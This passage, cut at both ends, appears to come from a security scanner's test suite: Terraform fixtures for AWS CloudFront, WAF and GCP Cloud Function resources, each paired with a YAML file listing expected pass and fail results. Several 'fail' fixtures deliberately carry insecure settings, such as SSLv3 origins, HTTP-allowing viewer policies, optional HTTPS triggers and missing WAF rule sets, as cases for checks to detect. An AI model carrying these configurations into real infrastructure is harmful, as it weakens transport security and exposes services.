aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" logging_config { include_cookies = false bucket = "mylogs.s3.amazonaws.com" prefix = "myprefix" } aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } # Cache behavior with precedence 1 ordered_cache_behavior { path_pattern = "/content/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.example.arn } resource "aws_cloudfront_distribution" "pass_2" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" origin_access_control_id = aws_cloudfront_origin_access_control.default.id } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" logging_config { include_cookies = false bucket = "mylogs.s3.amazonaws.com" prefix = "myprefix" } aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } # Cache behavior with precedence 1 ordered_cache_behavior { path_pattern = "/content/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.example.arn } resource "aws_cloudfront_distribution" "fail" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" logging_config { include_cookies = false bucket = "mylogs.s3.amazonaws.com" prefix = "myprefix" } aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } # Cache behavior with precedence 1 ordered_cache_behavior { path_pattern = "/content/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.example.arn } ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontHasCustomSSLCertificate/expected.yaml ================================================ fail: - "aws_cloudfront_distribution.fail" pass: - "aws_cloudfront_distribution.pass_1" - "aws_cloudfront_distribution.pass_2" ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontHasCustomSSLCertificate/main.tf ================================================ resource "aws_cloudfront_distribution" "pass_1" { origin { domain_name = aws_s3_bucket.primary.bucket_regional_domain_name origin_id = "primaryS3" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } } default_cache_behavior { target_origin_id = "groupS3" } viewer_certificate { acm_certificate_arn = "aaaaa" } } resource "aws_cloudfront_distribution" "pass_2" { origin { domain_name = aws_s3_bucket.primary.bucket_regional_domain_name origin_id = "primaryS3" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } } default_cache_behavior { target_origin_id = "groupS3" } viewer_certificate { acm_certificate_arn = "aaaaa" iam_certificate_id = "adaffwqfwff" } } resource "aws_cloudfront_distribution" "fail" { origin { domain_name = aws_s3_bucket.primary.bucket_regional_domain_name origin_id = "primaryS3" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } } default_cache_behavior { target_origin_id = "groupS3" } viewer_certificate { cloudfront_default_certificate = "test" } } ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontHasResponseHeadersPolicy/expected.yaml ================================================ fail: - "aws_cloudfront_distribution.no_response_headers_policy" pass: - "aws_cloudfront_distribution.pass" - "aws_cloudfront_distribution.pass2" ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontHasResponseHeadersPolicy/main.tf ================================================ # pass resource "aws_cloudfront_distribution" "pass" { enabled = true default_cache_behavior { response_headers_policy_id = aws_cloudfront_response_headers_policy.pass.id } } resource "aws_cloudfront_response_headers_policy" "pass" { name = "test" security_headers_config { content_security_policy { content_security_policy = "default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'; frame-ancestors 'none'" override = true } content_type_options { override = true } frame_options { frame_option = "DENY" override = true } referrer_policy { referrer_policy = "same-origin" override = true } strict_transport_security { access_control_max_age_sec = 31536000 include_subdomains = true override = true preload = true } xss_protection { mode_block = true override = true protection = true } } } # fail resource "aws_cloudfront_distribution" "no_response_headers_policy" { enabled = true } data "aws_cloudfront_response_headers_policy" "simple_cors" { name = "SimpleCORS" } resource "aws_cloudfront_distribution" "pass2" { default_cache_behavior { response_headers_policy_id = data.aws_cloudfront_response_headers_policy.simple_cors.id allowed_methods = [] cached_methods = [] target_origin_id = "" viewer_protocol_policy = "" } enabled = false origin { domain_name = "" origin_id = "" } restrictions { geo_restriction { restriction_type = "" } } viewer_certificate {} } ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontUsesSecureProtocolsForHTTPS/expected.yaml ================================================ pass: - "aws_cloudfront_distribution.pass_1" - "aws_cloudfront_distribution.pass_2" fail: - "aws_cloudfront_distribution.fail_1" ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontUsesSecureProtocolsForHTTPS/main.tf ================================================ resource "aws_cloudfront_distribution" "pass_1" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" custom_origin_config { origin_ssl_protocols = ["TLSv1"] } } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" logging_config { include_cookies = false bucket = "mylogs.s3.amazonaws.com" prefix = "myprefix" } aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } # Cache behavior with precedence 1 ordered_cache_behavior { path_pattern = "/content/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.example.arn } resource "aws_cloudfront_distribution" "pass_2" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" logging_config { include_cookies = false bucket = "mylogs.s3.amazonaws.com" prefix = "myprefix" } aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } # Cache behavior with precedence 1 ordered_cache_behavior { path_pattern = "/content/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.example.arn } resource "aws_cloudfront_distribution" "fail_1" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } custom_origin_config { origin_ssl_protocols = ["SSLv3"] } } origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_id = "failoverS3" s3_origin_config { origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path } } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" logging_config { include_cookies = false bucket = "mylogs.s3.amazonaws.com" prefix = "myprefix" } aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } # Cache behavior with precedence 1 ordered_cache_behavior { path_pattern = "/content/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.example.arn } ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontWebACLConfiguredWIthLog4jVulnerability/expected.yaml ================================================ fail: - "aws_cloudfront_distribution.fail_1" - "aws_cloudfront_distribution.fail_2" - "aws_cloudfront_distribution.fail_3" pass: - "aws_cloudfront_distribution.pass" ================================================ FILE: tests/terraform/graph/checks/resources/CloudFrontWebACLConfiguredWIthLog4jVulnerability/main.tf ================================================ resource "aws_cloudfront_distribution" "pass" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_access_control_id = aws_cloudfront_origin_access_control.default.id origin_id = local.s3_origin_id } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.pass_acl.arn } resource "aws_wafv2_web_acl" "pass_acl" { name = "managed-rule-example" description = "Example of a managed rule." scope = "REGIONAL" default_action { allow {} } rule { name = "rule-1" priority = 1 override_action { count {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" excluded_rule { name = "SizeRestrictions_QUERYSTRING" } scope_down_statement { geo_match_statement { country_codes = ["US", "NL"] } } } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-rule-metric-name" sampled_requests_enabled = false } } rule { name = "rule-2" priority = 2 override_action { count {} } statement { managed_rule_group_statement { name = "AWSManagedRulesKnownBadInputsRuleSet" vendor_name = "AWS" excluded_rule { name = "SizeRestrictions_QUERYSTRING" } scope_down_statement { geo_match_statement { country_codes = ["US", "NL"] } } } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-rule-metric-name" sampled_requests_enabled = false } } tags = { Tag1 = "Value1" Tag2 = "Value2" } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-metric-name" sampled_requests_enabled = false } } resource "aws_cloudfront_distribution" "fail_1" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_access_control_id = aws_cloudfront_origin_access_control.default.id origin_id = local.s3_origin_id } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } } resource "aws_cloudfront_distribution" "fail_2" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_access_control_id = aws_cloudfront_origin_access_control.default.id origin_id = local.s3_origin_id } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.fail_2_acl.arn } resource "aws_wafv2_web_acl" "fail_2_acl" { name = "managed-rule-example" description = "Example of a managed rule." scope = "REGIONAL" default_action { allow {} } rule { name = "rule-1" priority = 1 override_action { count {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" excluded_rule { name = "SizeRestrictions_QUERYSTRING" } scope_down_statement { geo_match_statement { country_codes = ["US", "NL"] } } } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-rule-metric-name" sampled_requests_enabled = false } } tags = { Tag1 = "Value1" Tag2 = "Value2" } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-metric-name" sampled_requests_enabled = false } } resource "aws_cloudfront_distribution" "fail_3" { origin { domain_name = aws_s3_bucket.b.bucket_regional_domain_name origin_access_control_id = aws_cloudfront_origin_access_control.default.id origin_id = local.s3_origin_id } enabled = true is_ipv6_enabled = true comment = "Some comment" default_root_object = "index.html" aliases = ["mysite.example.com", "yoursite.example.com"] default_cache_behavior { allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] cached_methods = ["GET", "HEAD"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false cookies { forward = "none" } } viewer_protocol_policy = "allow-all" min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } # Cache behavior with precedence 0 ordered_cache_behavior { path_pattern = "/content/immutable/*" allowed_methods = ["GET", "HEAD", "OPTIONS"] cached_methods = ["GET", "HEAD", "OPTIONS"] target_origin_id = local.s3_origin_id forwarded_values { query_string = false headers = ["Origin"] cookies { forward = "none" } } min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 compress = true viewer_protocol_policy = "redirect-to-https" } price_class = "PriceClass_200" restrictions { geo_restriction { restriction_type = "whitelist" locations = ["US", "CA", "GB", "DE"] } } tags = { Environment = "production" } viewer_certificate { cloudfront_default_certificate = true } web_acl_id = aws_wafv2_web_acl.fail_3_acl.arn } resource "aws_wafv2_web_acl" "fail_3_acl" { name = "managed-rule-example" description = "Example of a managed rule." scope = "REGIONAL" default_action { allow {} } rule { name = "rule-2" priority = 2 override_action { count {} } statement { managed_rule_group_statement { name = "AWSManagedRulesKnownBadInputsRuleSet" vendor_name = "AWS" excluded_rule { name = "SizeRestrictions_QUERYSTRING" } scope_down_statement { geo_match_statement { country_codes = ["US", "NL"] } } } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-rule-metric-name" sampled_requests_enabled = false } } tags = { Tag1 = "Value1" Tag2 = "Value2" } visibility_config { cloudwatch_metrics_enabled = false metric_name = "friendly-metric-name" sampled_requests_enabled = false } } ================================================ FILE: tests/terraform/graph/checks/resources/CloudFunctionSecureHTTPTrigger/expected.yaml ================================================ pass: - "google_cloudfunctions_function.pass" - "google_cloudfunctions_function.pass_1" - "google_cloudfunctions_function.pass_2" fail: - "google_cloudfunctions_function.fail_1" - "google_cloudfunctions_function.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/CloudFunctionSecureHTTPTrigger/main.tf ================================================ resource "google_cloudfunctions_function" "pass" { name = "function-test" description = "My function" runtime = "nodejs16" available_memory_mb = 128 source_archive_bucket = google_storage_bucket.bucket.name source_archive_object = google_storage_bucket_object.archive.name trigger_http = true https_trigger_security_level = "SECURE_ALWAYS" timeout = 60 entry_point = "helloGET" labels = { my-label = "my-label-value" } } resource "google_cloudfunctions_function" "pass_1" { name = "pubsub-trigger-test" description = "My function" runtime = "nodejs16" available_memory_mb = 128 source_archive_bucket = google_storage_bucket.bucket.name source_archive_object = google_storage_bucket_object.archive.name #event_trigger should not require "https_trigger_security_level" event_trigger { event_type = "google.cloud.pubsub.topic.v1.messagePublished" resource = "projects/triggering-projects/topics/trigger" } timeout = 60 entry_point = "helloGET" labels = { my-label = "my-label-value" } } resource "google_cloudfunctions_function" "pass_2" { name = "pubsub-trigger-test" description = "My function" runtime = "nodejs16" available_memory_mb = 128 source_archive_bucket = google_storage_bucket.bucket.name source_archive_object = google_storage_bucket_object.archive.name #event_trigger should not require "https_trigger_security_level" trigger_http = false timeout = 60 entry_point = "helloGET" labels = { my-label = "my-label-value" } } resource "google_cloudfunctions_function" "fail_1" { name = "function-test" description = "My function" runtime = "nodejs16" available_memory_mb = 128 source_archive_bucket = google_storage_bucket.bucket.name source_archive_object = google_storage_bucket_object.archive.name trigger_http = true https_trigger_security_level = "SECURE_OPTIONAL" timeout = 60 entry_point = "helloGET" labels = { my-label = "my-label-value" } } resource "google_cloudfunctions_function" "fail_2" { name = "function-test" description = "My function" runtime = "nodejs16" available_memory_mb = 128 source_archive_bucket = google_storage_bucket.bucket.name source_archive_object = google_storage_bucket_object.archive.name trigger_http = true timeout = 60 entry_point = "helloGET" labels = { my-label = "my-label-value" } } ================================================ FILE: tests/terraform/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/expected.yaml ================================================ pass: - "aws_cloudfront_distribution.example_pass_domain" - "aws_cloudfront_distribution.example_pass_httpsonly" - "aws_cloudfront_distribution.example_pass_nocustomorigin" - "aws_cloudfront_distribution.example_pass_disabled" fail: - "aws_cloudfront_distribution.example_fail_one_missing_one_bad" - "aws_cloudfront_distribution.example_fail_one_good_one_bad" - "aws_cloudfront_distribution.example_fail" ================================================ FILE: tests/terraform/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/main.tf ================================================ # pass: enabled=false (required) resource "aws_cloudfront_distribution" "example_pass_disabled" { enabled = false # disabled origin { domain_name = "example.data.mediastore.amazonaws.com" # contains dangerous domain name origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } # pass: enabled=true; origin->custom_origin_config not exists (origin is required) resource "aws_cloudfront_distribution" "example_pass_nocustomorigin" { enabled = true # enabled origin { domain_name = "example.data.mediastore.amazonaws.com" # contains dangerous domain name origin_id = "custom-origin-example" # no custom origin } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } # pass: enabled=true; origin->custom_origin_config->origin_protocol_policy=https-only resource "aws_cloudfront_distribution" "example_pass_httpsonly" { enabled = true # enabled origin { domain_name = "example.data.mediastore.amazonaws.com" # contains dangerous domain name origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "https-only" # HTTPS only http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } # pass: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name not contains (".data.mediastore." or domainName contains ".mediapackage." or domainName contains ".elb.") resource "aws_cloudfront_distribution" "example_pass_domain" { enabled = true # enabled origin { domain_name = "example.com" # safe domain origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } # fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name contains "mediastore" resource "aws_cloudfront_distribution" "example_fail" { enabled = true # enabled origin { domain_name = "example.data.mediastore.amazonaws.com" # contains dangerous domain name origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } # fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name contains "mediastore" (second only) resource "aws_cloudfront_distribution" "example_fail_one_good_one_bad" { enabled = true # enabled origin { domain_name = "example.com" # safe domain origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "https-only" # HTTPS only http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } origin { domain_name = "example.data.mediastore.amazonaws.com" # contains dangerous domain name origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } # fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name contains "elb" (second only) and first doesn't have custom_origin_config resource "aws_cloudfront_distribution" "example_fail_one_missing_one_bad" { enabled = true # enabled origin { domain_name = "example.com" # safe domain origin_id = "custom-origin-example" # no custom_origin_config } origin { domain_name = "example.elb.amazonaws.com" # contains dangerous domain name origin_id = "custom-origin-example" custom_origin_config { origin_protocol_policy = "match-viewer" # Does not enforce HTTPS only, matches RQL condition to fail http_port = 80 https_port = 443 origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } } default_cache_behavior { target_origin_id = "custom-origin-example" viewer_protocol_policy = "redirect-to-https" allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] forwarded_values { query_string = false cookies { forward = "none" } } 